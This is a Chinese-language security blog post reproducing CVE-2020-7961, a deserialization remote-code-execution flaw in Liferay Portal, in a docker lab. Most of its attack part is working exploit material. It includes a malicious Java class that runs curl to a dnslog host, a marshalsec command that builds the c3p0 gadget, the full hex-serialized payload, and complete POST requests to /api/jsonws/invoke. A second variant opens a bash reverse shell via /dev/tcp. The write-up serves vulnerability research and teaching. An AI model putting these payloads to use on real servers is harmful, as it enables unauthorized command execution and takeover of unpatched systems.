(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld

图片[1]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞

一、漏洞描述

Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。

二、影响版本

Liferay Portal CE<V7.2.0 GA1

三、漏洞复现

执行如下命令启动Liferay Portal 7.2.0 GA1:

docker-compose up -d

图片[2]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

环境启动成功(注意docker环境至少2G)

图片[3]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

http://192.168.0.102:8080/

图片[4]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

方法一:

恶意的Java类,编译

importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;publicclassLifExp{​static{try{String[] cmd = {“bash”,”-c”,”curl 2jpa4i.dnslog.cn”};java.lang.Runtime.getRuntime().exec(cmd).waitFor();}catch(Exceptione ) {            e.printStackTrace();        }    }}

在保存着class文件的目录下运行一个HTTP文件服务:

先启动一个http服务:

python3-mhttp.server9999

图片[5]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://192.168.0.104:9999/ LifExp

其中,http://192.168.0.104:9999/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。

图片[6]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

生成的POC

[“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,{“userOverridesAsString”:”HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;”}]

生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即+参数名:类名=值,来修改这个Payload:

+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={“userOverridesAsString”:”HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;”}

将上述Payload合并到HTTP请求中发送:

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.0.102:8080

Content-Length: 1356

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={“userOverridesAsString”:”HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;”}

执行成功

图片[7]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

查看DNS访问记录

图片[8]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

方法二:

执行命令反弹:

importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;publicclassLifExp{​static{try{String[] cmd = {“bash”,”-c”,”bash -i >& /dev/tcp/XXXXXXX/34567 0>&1″};java.lang.Runtime.getRuntime().exec(cmd).waitFor();}catch(Exceptione ) {            e.printStackTrace();        }    }}

获取新的POC

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://192.168.0.104:9999/ LifExp

图片[9]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

[“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,{“userOverridesAsString”:”HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;”}]

数据访问包:

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.0.102:8080

Content-Length: 1352

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={“userOverridesAsString”:”HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;”}

执行完成

图片[10]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

服务器监听漏洞获取权限

图片[11]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

参考:

http://www.dnslog.cn/

https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961

https://github.com/mzer0one/CVE-2020-7961-POC

https://github.com/b33p-b0x/CVE-2020-7961-payloads

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片[12]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园:https://www.cnblogs.com/thelostworld/

图片[13]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

欢迎添加本公众号作者微信交流,添加时备注一下“公众号”

图片[14]-(CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 – 作者:thelostworld-安全小百科

来源:freebuf.com 2020-12-19 16:22:15 by: thelostworld

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论